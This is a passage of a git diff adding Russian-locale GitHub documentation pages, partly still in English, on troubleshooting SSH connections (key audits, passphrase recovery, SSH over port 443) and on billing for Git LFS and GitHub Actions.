variables.product.prodname_dotcom %} или другой веб-службы. + +При удалении OpenSSH парольные фразы, хранящиеся в цепочке ключей, снова станут доступны для извлечения. Можно удалить OpenSSH, введя команду `brew uninstall openssh` в терминале. + +{% endwarning %} + +1. Откройте терминал. +2. Введите команду `brew install openssh`. +3. Закройте и снова запустите терминал. +4. Повторите процедуру, чтобы еще раз создать новый ключ SSH. Дополнительные сведения см. в разделе [Создание нового ключа SSH и его добавление в агент SSH](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key). + +{% endmac %}{% linux %}Для решения этой проблемы в Linux используйте диспетчер пакетов для дистрибутива Linux, чтобы установить новую версию OpenSSH или скомпилировать новую версию из источника. Установка другой версии OpenSSH может повлиять на возможность проверки подлинности других приложений через SSH. Дополнительные сведения см. в документации по дистрибутиву.{% endlinux %} diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md new file mode 100644 index 000000000000..71ac69c799b4 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md @@ -0,0 +1,36 @@ +--- +title: 'Ошибка: выполняется аудит ключей SSH' +intro: 'Эта ошибка означает, что ключ SSH, который вы используете для выполнения операции Git, не был проверен.' +redirect_from: + - /articles/error-we-re-doing-an-ssh-key-audit + - /articles/error-were-doing-an-ssh-key-audit + - /github/authenticating-to-github/error-were-doing-an-ssh-key-audit + - /github/authenticating-to-github/troubleshooting-ssh/error-were-doing-an-ssh-key-audit +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: SSH key audit +ms.openlocfilehash: 8683f5506fc2a026c11f22f2086de2308d096906 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088167' +--- +При использовании непроверенного ключа для выполнения операций GIT вам будет предложено провести аудит ключей SSH. + +```shell +ERROR: We're doing an SSH key audit. +Reason: unverified due to lack of use +Please visit https://github.com/settings/ssh +to approve this key so we know it's safe. +Fingerprint: ab:08:46:83:ff:f6:c4:f8:a9:4e:68:6b:94:17:f2:46 +fatal: could not read from remote repository +``` +## Решение проблемы + +Чтобы устранить эту проблему, необходимо [проверить ключи SSH](/articles/reviewing-your-ssh-keys) и отклонить или утвердить непроверенный ключ. Щелкнув ссылку в сообщении об ошибке, вы перейдете на страницу параметров SSH, где непроверенный ключ выделен в списке ключей SSH. diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/index.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/index.md new file mode 100644 index 000000000000..649458cdb672 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/index.md @@ -0,0 +1,35 @@ +--- +title: Устранение неполадок с SSH +intro: 'При использовании SSH для подключения к {% data variables.product.product_name %} может потребоваться устранение непредвиденных проблем, которые могут возникнуть.' +redirect_from: + - /articles/troubleshooting-ssh + - /github/authenticating-to-github/troubleshooting-ssh +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +children: + - /using-ssh-over-the-https-port + - /recovering-your-ssh-key-passphrase + - /deleted-or-missing-ssh-keys + - /error-permission-denied-publickey + - /error-bad-file-number + - /error-key-already-in-use + - /error-permission-to-userrepo-denied-to-other-user + - /error-permission-to-userrepo-denied-to-userother-repo + - /error-agent-admitted-failure-to-sign + - /error-ssh-add-illegal-option----k + - /error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok + - /error-unknown-key-type + - /error-were-doing-an-ssh-key-audit +ms.openlocfilehash: aaf218a14122d77f251f52c9253c67726e943d56 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088166' +--- + diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md new file mode 100644 index 000000000000..2ad05c5ec446 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md @@ -0,0 +1,44 @@ +--- +title: Recovering your SSH key passphrase +intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.' +redirect_from: + - /articles/how-do-i-recover-my-passphrase + - /articles/how-do-i-recover-my-ssh-key-passphrase + - /articles/recovering-your-ssh-key-passphrase + - /github/authenticating-to-github/recovering-your-ssh-key-passphrase + - /github/authenticating-to-github/troubleshooting-ssh/recovering-your-ssh-key-passphrase +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - SSH +shortTitle: Recover SSH key passphrase +--- +{% mac %} + +If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it. + +1. In Finder, search for the **Keychain Access** app. + ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) +2. In Keychain Access, search for **SSH**. +3. Double click on the entry for your SSH key to open a new dialog box. +4. In the lower-left corner, select **Show password**. + ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png) +5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box. +6. Your password will be revealed. + +{% endmac %} + +{% windows %} + +If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead. + +{% endwindows %} + +{% linux %} + +If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead. + +{% endlinux %} diff --git a/translations/ru-RU/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md b/translations/ru-RU/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md new file mode 100644 index 000000000000..92f37fba9d43 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md @@ -0,0 +1,78 @@ +--- +title: Using SSH over the HTTPS port +intro: 'Sometimes, firewalls refuse to allow SSH connections entirely. If using [HTTPS cloning with credential caching](/github/getting-started-with-github/caching-your-github-credentials-in-git) is not an option, you can attempt to clone using an SSH connection made over the HTTPS port. Most firewall rules should allow this, but proxy servers may interfere.' +redirect_from: + - /articles/using-ssh-over-the-https-port + - /github/authenticating-to-github/using-ssh-over-the-https-port + - /github/authenticating-to-github/troubleshooting-ssh/using-ssh-over-the-https-port +versions: + fpt: '*' + ghec: '*' +topics: + - SSH +shortTitle: Use SSH over HTTPS port +--- +{% tip %} + +**{% data variables.product.prodname_ghe_server %} users**: Accessing {% data variables.product.prodname_ghe_server %} via SSH over the HTTPS port is currently not supported. + +{% endtip %} + +To test if SSH over the HTTPS port is possible, run this SSH command: + +```shell +$ ssh -T -p 443 git@ssh.github.com +> Hi USERNAME! You've successfully authenticated, but GitHub does not +> provide shell access. +``` + +{% note %} + +**Note**: The hostname for port 443 is `ssh.{% data variables.command_line.backticks %}`, not `{% data variables.command_line.backticks %}`. + +{% endnote %} + +If that worked, great! If not, you may need to [follow our troubleshooting guide](/articles/error-permission-denied-publickey). + +Now, to clone the repository, you can run the following command: + +``` +$ git clone ssh://git@ssh.{% data variables.command_line.codeblock %}:443/YOUR-USERNAME/YOUR-REPOSITORY.git +``` + +## Enabling SSH connections over HTTPS + +If you are able to SSH into `git@ssh.{% data variables.command_line.backticks %}` over port 443, you can override your SSH settings to force any connection to {% data variables.location.product_location %} to run through that server and port. + +To set this in your SSH configuration file, edit the file at `~/.ssh/config`, and add this section: + +``` +Host {% data variables.command_line.codeblock %} +Hostname ssh.{% data variables.command_line.codeblock %} +Port 443 +User git +``` + +You can test that this works by connecting once more to {% data variables.location.product_location %}: + +```shell +$ ssh -T git@{% data variables.command_line.codeblock %} +> Hi USERNAME! You've successfully authenticated, but GitHub does not +> provide shell access. +``` + +## Updating known hosts + +The first time you interact with GitHub after switching to port 443, you may get a warning message +that the host wasn't found in `known_hosts`, or that it was found by another name. + +```ShellSession +> The authenticity of host '[ssh.github.com]:443 ([140.82.112.36]:443)' can't be established. +> ED25519 key fingerprint is SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU. +> This host key is known by the following other names/addresses: +> ~/.ssh/known_hosts:32: github.com +> Are you sure you want to continue connecting (yes/no/[fingerprint])? +``` + +It is safe to answer `yes` to this question, assuming that the SSH fingerprint matches +one of GitHub's published fingerprints. For more information, see "[Github's SSH key fingerprints](/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints)." diff --git a/translations/ru-RU/content/billing/index.md b/translations/ru-RU/content/billing/index.md new file mode 100644 index 000000000000..e729fb353d97 --- /dev/null +++ b/translations/ru-RU/content/billing/index.md @@ -0,0 +1,64 @@ +--- +title: Выставление счетов и платежи на GitHub +shortTitle: Billing and payments +intro: '{% ifversion fpt %}{% data variables.product.product_name %} предлагает бесплатные и платные продукты для каждой учетной записи. Вы можете перейти на более новую или более раннюю версию подписки вашей учетной записи и управлять параметрами выставления счетов в любое время.{% elsif ghec or ghes or ghae %} {% data variables.product.company_short %} выставляет счета за {% ifversion ghec or ghae %}потребление {% data variables.product.product_name %}{% elsif ghes %} лицензии на {% data variables.product.product_name %}{% ifversion ghes %} и любые дополнительные службы, которые вы приобрели{% endif %}{% endif %}. {% endif %} {% ifversion ghec %} Вы можете просматривать свою подписку и управлять параметрами выставления счетов в любое время. {% endif %} {% ifversion fpt or ghec %} Вы также можете просматривать ограничения расходов на функции {% data variables.product.product_name %}, например {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} и {% data variables.product.prodname_github_codespaces %}.{% endif %}' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github + - /categories/setting-up-and-managing-billing-and-payments-on-github +introLinks: + overview: '{% ifversion fpt or ghec %}/billing/managing-your-github-billing-settings/about-billing-on-github{% elsif ghes%}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}' +featuredLinks: + guides: + - '{% ifversion fpt or ghec %}/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method{% endif %}' + - '{% ifversion fpt %}/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription{% endif %}' + - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}' + - '{% ifversion fpt or ghec %}/billing/managing-your-github-billing-settings/setting-your-billing-email{% endif %}' + - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/about-per-user-pricing{% endif %}' + - '{% ifversion ghes %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}' + - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}' + - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}' + - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}' + popular: + - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}' + - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription{% endif %}' + - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}' + - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces{% endif %}' + - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security{% endif %}' + - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}' + - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}' + - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}' + guideCards: + - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process + - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage + - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}' + - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud{% endif %}' +layout: product-landing +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Billing +children: + - /managing-your-github-billing-settings + - /managing-billing-for-your-github-account + - /managing-your-license-for-github-enterprise + - /managing-licenses-for-visual-studio-subscriptions-with-github-enterprise + - /managing-billing-for-github-actions + - /managing-billing-for-github-codespaces + - /managing-billing-for-github-packages + - /managing-billing-for-github-copilot + - /managing-billing-for-github-advanced-security + - /managing-billing-for-github-sponsors + - /managing-billing-for-github-marketplace-apps + - /managing-billing-for-git-large-file-storage + - /setting-up-paid-organizations-for-procurement-companies +ms.openlocfilehash: 977d170024ddec1d49f51723b654ee7171915e94 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109295' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md new file mode 100644 index 000000000000..237b5ba8bb9e --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md @@ -0,0 +1,48 @@ +--- +title: Сведения о выставлении счетов для хранилища больших файлов GIT +intro: 'Если вы приобрели дополнительный объем хранилища и пропускной способности для {% data variables.large_files.product_name_long %}, для вашей покупки используется та же существующая дата выставления счетов настроенная для вашей учетной записи, тот же способ оплаты и квитанция.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-git-large-file-storage + - /articles/about-billing-for-git-large-file-storage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - LFS + - Upgrades +shortTitle: About Git LFS billing +ms.openlocfilehash: e09a093aa827d3ed4a25236f42cee65c1c195f14 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145088148' +--- +## Сведения о выставлении счетов для {% data variables.large_files.product_name_long %} + +{% data reusables.large_files.free-storage-bandwidth-amount %} {% data reusables.large_files.does_not_carry %} + +{% data reusables.large_files.owner_quota_only %} + +{% data reusables.user-settings.context_switcher %} + +## Приобретение дополнительных хранилища и пропускной способности + +В одном пакете данных предлагается дополнительные хранилище и пропускная способность. Один пакет данных стоит {% data variables.large_files.pack_monthly_price %} и предоставляет месячную квоту {% data variables.large_files.pack_monthly_bandwidth %} пропускной способности {% data variables.large_files.pack_monthly_storage %} для хранения. Можно приобрести любое количество пакетов данных. Например, если требуется 150 ГБ хранилища, вы приобретете три пакета данных. + +Приобретение пакетов данных для {% data variables.large_files.product_name_short %} не зависит от любой другой платной функции или продукта в {% data variables.product.product_name %}. + +## Понижение уровня использования хранилища и пропускной способности + +При понижении числа дополнительных пакетов данных изменения вступают в силу на следующую дату выставления счета. + +## Дополнительные материалы + +- [Сведения о {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage) +- [Установка {% data variables.large_files.product_name_long %}](/articles/installing-git-large-file-storage) +- [Сведения об использовании хранилища и пропускной способности](/articles/about-storage-and-bandwidth-usage) +- [Просмотр сведений об использовании {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage) +- [Обновление {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage) +- [Понижение уровня {% data variables.large_files.product_name_long %}](/articles/downgrading-git-large-file-storage) diff --git a/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md new file mode 100644 index 000000000000..840b3273e488 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md @@ -0,0 +1,37 @@ +--- +title: Понижение уровня хранилища больших файлов GIT +intro: 'Вы можете понизить уровень хранилища и пропускной способности для {% data variables.large_files.product_name_short %} с шагом в 50 ГБ в месяц.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage + - /articles/downgrading-storage-and-bandwidth-for-a-personal-account + - /articles/downgrading-storage-and-bandwidth-for-an-organization + - /articles/downgrading-git-large-file-storage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Downgrades + - LFS + - Organizations + - User account +shortTitle: Downgrade Git LFS storage +ms.openlocfilehash: 9e23d3d8eaee5362375ca427a7b58505eccbaa05 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088143' +--- +При уменьшении количества пакетов данных изменение вступает в силу в следующую дату выставления счетов. Дополнительные сведения см. в разделе [Сведения о выставлении счетов для {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage). + +## Уменьшение объема хранилища и пропускной способности для личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.lfs-remove-data %} {% data reusables.large_files.downgrade_data_packs %} + +## Уменьшение объема хранилища и пропускной способности для организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.lfs-remove-data %} {% data reusables.large_files.downgrade_data_packs %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/index.md b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/index.md new file mode 100644 index 000000000000..f014f742b569 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/index.md @@ -0,0 +1,26 @@ +--- +title: Управление выставлением счетов для хранилища больших файлов GIT +shortTitle: Git Large File Storage +intro: 'Вы можете просмотреть сведения об использовании, повышении и понижении уровня {% data variables.large_files.product_name_long %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage + - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account + - /articles/managing-large-file-storage-and-bandwidth-for-your-organization + - /articles/managing-storage-and-bandwidth-usage + - /articles/managing-billing-for-git-large-file-storage +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-for-git-large-file-storage + - /viewing-your-git-large-file-storage-usage + - /upgrading-git-large-file-storage + - /downgrading-git-large-file-storage +ms.openlocfilehash: 6691e8291de4dc3dc7962bc4e202122438de9ec5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145088142' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md new file mode 100644 index 000000000000..0920952dfdc2 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md @@ -0,0 +1,42 @@ +--- +title: Повышение уровня хранилища больших файлов GIT +intro: 'Вы можете приобрести дополнительные пакеты данных, чтобы увеличить квоту на ежемесячную пропускную способность и общую емкость хранилища для {% data variables.large_files.product_name_short %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage + - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account + - /articles/purchasing-additional-storage-and-bandwidth-for-an-organization + - /articles/upgrading-git-large-file-storage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - LFS + - Organizations + - Upgrades + - User account +shortTitle: Upgrade Git LFS storage +ms.openlocfilehash: 261ef75ee139cf8c1bcec01c09d95444d64ecc89 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145088131' +--- +## Приобретение дополнительного объема хранилища и пропускной способности для личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.lfs-add-data %} {% data reusables.large_files.pack_selection %} {% data reusables.large_files.pack_confirm %} + +## Приобретение дополнительного объема хранилища и пропускной способности для организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.lfs-add-data %} {% data reusables.large_files.pack_selection %} {% data reusables.large_files.pack_confirm %} + +## Дополнительные материалы + +- [Сведения о выставлении счетов для {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage) +- [Сведения об использовании хранилища и пропускной способности](/articles/about-storage-and-bandwidth-usage) +- [Просмотр сведений об использовании {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage) +- [Управление версиями больших файлов](/articles/versioning-large-files) diff --git a/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md new file mode 100644 index 000000000000..066aaba2e10d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md @@ -0,0 +1,41 @@ +--- +title: Просмотр сведений об использовании хранилища больших файлов Git +intro: 'Вы можете проверить ежемесячную квоту пропускной способности для учетной записи и оставшийся объем хранилища для {% data variables.large_files.product_name_short %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage + - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account + - /articles/viewing-storage-and-bandwidth-usage-for-an-organization + - /articles/viewing-your-git-large-file-storage-usage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - LFS + - Organizations + - User account +shortTitle: View Git LFS usage +ms.openlocfilehash: 1a0bc2ec9df2479cb0a56a54494fd4bead72e358 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088125' +--- +{% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %} + +## Просмотр сведений об использовании хранилища и пропускной способности для личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.lfs-data %} + +## Просмотр сведений об использовании хранилища и пропускной способности для организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.lfs-data %} + +## Дополнительные материалы + +- [Сведения об использовании хранилища и пропускной способности](/articles/about-storage-and-bandwidth-usage) +- [Обновление {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/) diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md b/translations/ru-RU/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md new file mode 100644 index 000000000000..6e8acc6b4db5 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md @@ -0,0 +1,115 @@ +--- +title: About billing for GitHub Actions +intro: 'If you want to use {% data variables.product.prodname_actions %} beyond the storage or minutes included in your account, you will be billed for additional usage.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/about-billing-for-github-actions +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Actions + - Spending limits +shortTitle: Billing for GitHub Actions +--- +## About billing for {% data variables.product.prodname_actions %} + +{% data reusables.actions.actions-billing %} + +{% data reusables.actions.actions-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)." + +{% ifversion ghec %} +If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." +{% endif %} + +Minutes reset every month, while storage usage does not. + +### Included storage and minutes + +{% ifversion actions-hosted-runners %} +{% note %} + +**Note**: Entitlement minutes cannot be used for Windows and Ubuntu runners over 2-cores. These runners will always be charged for, including in public repos. For more information, see "[Per-minute rates for runners](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates)." + +{% endnote %} +{% endif %} + +|Product | Storage | Minutes (per month)| +|------- | ------- | ---------| +| {% data variables.product.prodname_free_user %} | 500 MB | 2,000 | +| {% data variables.product.prodname_pro %} | 1 GB | 3,000 | +| {% data variables.product.prodname_free_team %} for organizations | 500 MB | 2,000 | +| {% data variables.product.prodname_team %} | 2 GB | 3,000 | +| {% data variables.product.prodname_ghe_cloud %} | 50 GB | 50,000 | + +Jobs that run on Windows and macOS runners that {% data variables.product.prodname_dotcom %} hosts consume minutes at 2 and 10 times the rate that jobs on Linux runners consume. For example, using 1,000 Windows minutes would consume 2,000 of the minutes included in your account. Using 1,000 macOS minutes, would consume 10,000 minutes included in your account. + +### Minute multipliers + +| Operating system | Minute multiplier | +|------- | ---------| +| Linux | 1 | +| macOS| 10 | +| Windows | 2 | + +The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by your account. For more information about pricing for {% data variables.product.prodname_registry %}, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." + + If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and per-minute usage depending on the operating system used by the {% data variables.product.prodname_dotcom %}-hosted runner. {% data variables.product.prodname_dotcom %} rounds the minutes and partial minutes each job uses up to the nearest whole minute. + +{% note %} + +**Note:** Minute multipliers do not apply to the per-minute rates shown below. + +{% endnote %} + +### Per-minute rates + +{% data reusables.billing.billing-standard-runners %} +{% ifversion actions-hosted-runners %}{% data reusables.billing.billing-hosted-runners %}{% endif %} + +- The number of jobs you can run concurrently across all repositories in your user or organization account depends on your GitHub plan. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. +- {% data reusables.user-settings.context_switcher %} +{% ifversion actions-hosted-runners %} +- For {% data variables.actions.hosted_runner %}s, there is no additional cost for configurations that assign public static IP addresses to a {% data variables.actions.hosted_runner %}. For more information on {% data variables.actions.hosted_runner %}s, see "[Using {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners)." +- Entitlement minutes cannot be used for {% data variables.actions.hosted_runner %}s. +- The {% data variables.actions.hosted_runner %}s are not free for public repositories. +{% endif %} + +## Calculating minute and storage spending + +{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_actions %} + +At the end of the month, {% data variables.product.prodname_dotcom %} calculates the cost of minutes and storage used over the amount included in your account. + +### Sample minutes cost calculation + +For example, if your organization uses {% data variables.product.prodname_team %} and allows unlimited spending, using 5,000 minutes could have a total storage and minute overage cost of $56 USD, depending on the operating systems used to run jobs. + +- 5,000 (3,000 Linux and 2,000 Windows) minutes = $56 USD ($24 USD + $32 USD). + - 3,000 Linux minutes at $0.008 USD per minute = $24 USD. + - 2,000 Windows minutes at $0.016 USD per minute = $32 USD. + +{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. + +### Sample storage cost calculation + +For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: + +- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours +- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours +- 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours +- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months + +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. + +Your {% data variables.product.prodname_actions %} usage shares your account's existing billing date, payment method, and 